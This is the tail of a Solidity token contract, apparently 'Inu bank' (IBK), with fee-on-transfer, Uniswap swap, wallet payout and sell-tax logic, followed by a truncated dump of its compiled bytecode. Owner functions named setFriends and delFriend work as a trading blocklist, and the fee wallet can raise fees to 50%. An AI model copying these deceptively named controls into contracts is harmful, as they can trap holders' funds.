if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(4));
_marketingFixedWalletAddress.transfer(amount.div(4));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
launchBlock = block.number;
}
function setFriends(address[] memory friends) public onlyOwner {
for (uint i = 0; i < friends.length; i++) {
if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) {
_friends[friends[i]] = true;
}
}
}
function delFriend(address notfriend) public onlyOwner {
_friends[notfriend] = false;
}
function isFriend(address ad) public view returns (bool) {
return _friends[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - trader[buyer].buyCD;
}
// might return outdated counter if more than 30 mins
function buyTax(address buyer) public view returns (uint) {
return ((5 - trader[buyer].buynumber).mul(2));
}
function sellTax(address ad) public view returns (uint) {
if(block.timestamp > trader[ad].lastBuy + (3 hours)) {
return 10;
} else if (block.timestamp > trader[ad].lastBuy + (1 hours)) {
return 15;
} else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) {
return 20;
} else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) {
return 25;
} else {
return 35;
}
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613f5e565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190613a3b565b610662565b6040516101f09190613f43565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614140565b60405180910390f35b34801561023057600080fd5b5061024b600480360381019061024691906139ec565b610691565b6040516102589190613f43565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614140565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae91906141b5565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613b0a565b610783565b005b3480156102ec57600080fd5b5061030760048036038101906103029190613ab8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b919061395e565b61095f565b60405161033d9190614140565b60405180910390f35b34801561035257600080fd5b5061036d6004803603810190610368919061395e565b610aeb565b60405161037a9190613f43565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a5919061395e565b610b41565b6040516103b79190614140565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f9919061395e565b610c0a565b60405161040b9190614140565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613e75565b60405180910390f35b34801561046257600080fd5b5061047d6004803603810190610478919061395e565b610dd7565b60405161048a9190614140565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613f5e565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190613a3b565b610e7f565b6040516104f29190613f43565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613f43565b60405180910390f35b34801561053257600080fd5b5061054d60048036038101906105489190613a77565b610eb2565b005b34801561055b57600080fd5b50610564611134565b005b34801561057257600080fd5b5061057b6111ae565b005b34801561058957600080fd5b5061059261127a565b60405161059f9190614140565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca919061395e565b6112ac565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906139b0565b61139c565b6040516106059190614140565b60405180910390f35b34801561061a57600080fd5b50610623611423565b005b60606040518060400160405280600881526020017f496e752062616e6b000000000000000000000000000000000000000000000000815250905090565b600061067661066f611935565b848461193d565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611b08565b61075f846106aa611935565b61075a8560405180606001604052806028815260200161491760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610710611935565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bdd9092919063ffffffff16565b61193d565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c4611935565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90614020565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614140565b60405180910390a150565b610872611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690614080565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613f43565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b19190614276565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a119190614276565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a719190614276565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad19190614276565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b919190614357565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd9611935565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612c41565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db8565b9050919050565b610c63611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790614080565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d9190614357565b612e2690919063ffffffff16565b9050919050565b60606040518060400160405280600581526020017f2049424b20000000000000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c611935565b8484611b08565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90614080565b60405180910390fd5b60005b815181101561113057601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610fc5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff161415801561107f5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061105e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561111d576001600660008484815181106110c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061112890614456565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611175611935565b73ffffffffffffffffffffffffffffffffffffffff161461119557600080fd5b60006111a030610c0a565b90506111ab81612ea1565b50565b6111b6611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a90614080565b60405180910390fd5b6001601560146101000a81548160ff02191690831515021790555060784261126b9190614276565b60178190555043601681905550565b60006112a7601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112b4611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611341576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133890614080565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61142b611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114af90614080565b60405180910390fd5b601560149054906101000a900460ff1615611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff90614100565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061159830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061193d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156115de57600080fd5b505afa1580156115f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116169190613987565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561167857600080fd5b505afa15801561168c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b09190613987565b6040518363ffffffff1660e01b81526004016116cd929190613e90565b602060405180830381600087803b1580156116e757600080fd5b505af11580156116fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171f9190613987565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306117a830610c0a565b6000806117b3610dae565b426040518863ffffffff1660e01b81526004016117d596959493929190613ee2565b6060604051808303818588803b1580156117ee57600080fd5b505af1158015611802573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118279190613b33565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016118df929190613eb9565b602060405180830381600087803b1580156118f957600080fd5b505af115801561190d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119319190613ae1565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a4906140e0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1490613fc0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611afb9190614140565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6f906140c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdf90613f80565b60405180910390fd5b60008111611c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c22906140a0565b60405180910390fd5b611c33610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca15750611c71610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612b1a57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d4a5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d5357600080fd5b6001601654611d629190614276565b4311158015611d72575060105481145b15611f9157601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e85576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f90565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611f315750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f8f576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661209e576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121495750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561219f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561272757601560149054906101000a900460ff166121f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ea90614120565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546122439190614276565b421115612293576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561234b57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061233190614456565b91905055506005600a819055506005600b81905550612587565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561240357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906123e990614456565b91905055506004600a819055506004600b81905550612586565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156124bb57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124a190614456565b91905055506003600a819055506003600b81905550612585565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561257357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061255990614456565b91905055506002600a819055506002600b81905550612584565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff1615612726574260175411156126d2576010548111156125fa57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061267e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267590613fe0565b60405180910390fd5b602d4261268b9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f426126df9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b600061273230610c0a565b9050601560169054906101000a900460ff1615801561279f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127b75750601560149054906101000a900460ff165b15612b185760158054906101000a900460ff16156128545742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410612853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284a90614040565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128aa9190614276565b4211156128ba57600a90506129e2565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461290a9190614276565b42111561291a57600f90506129e1565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461296a9190614276565b42111561297a57601490506129e0565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546129ca9190614276565b4211156129da57601990506129df565b602390505b5b5b5b612a09600a6129fb600484612e2690919063ffffffff16565b61319b90919063ffffffff16565b600a81905550612a36600a612a28600684612e2690919063ffffffff16565b61319b90919063ffffffff16565b600b819055506000821115612afd57612a976064612a89600c54612a7b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b821115612af357612af06064612ae2600c54612ad4601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b91505b612afc82612ea1565b5b60004790506000811115612b1557612b1447612c41565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612bc15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bcb57600090505b612bd7848484846131e5565b50505050565b6000838311158290612c25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c1c9190613f5e565b60405180910390fd5b5060008385612c349190614357565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9160028461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cbc573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d0d60048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d38573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d8960048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612db4573d6000803e3d6000fd5b5050565b6000600854821115612dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612df690613fa0565b60405180910390fd5b6000612e09613212565b9050612e1e818461319b90919063ffffffff16565b915050919050565b600080831415612e395760009050612e9b565b60008284612e4791906142fd565b9050828482612e5691906142cc565b14612e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e8d90614060565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612eff577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015612f2d5781602001602082028036833780820191505090505b5090503081600081518110612f6b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561300d57600080fd5b505afa158015613021573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130459190613987565b8160018151811061307f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506130e630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461193d565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161314a95949392919061415b565b600060405180830381600087803b15801561316457600080fd5b505af1158015613178573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006131dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061323d565b905092915050565b806131f3576131f26132a0565b5b6131fe8484846132e3565b8061320c5761320b6134ae565b5b50505050565b600080600061321f6134c2565b91509150613236818361319b90919063ffffffff16565b9250505090565b60008083118290613284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161327b9190613f5e565b60405180910390fd5b506000838561329391906142cc565b9050809150509392505050565b6000600a541480156132b457506000600b54145b156132be576132e1565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b6000806000806000806132f587613524565b95509550955095509550955061335386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461358c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133e885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343481613634565b61343e84836136f1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378d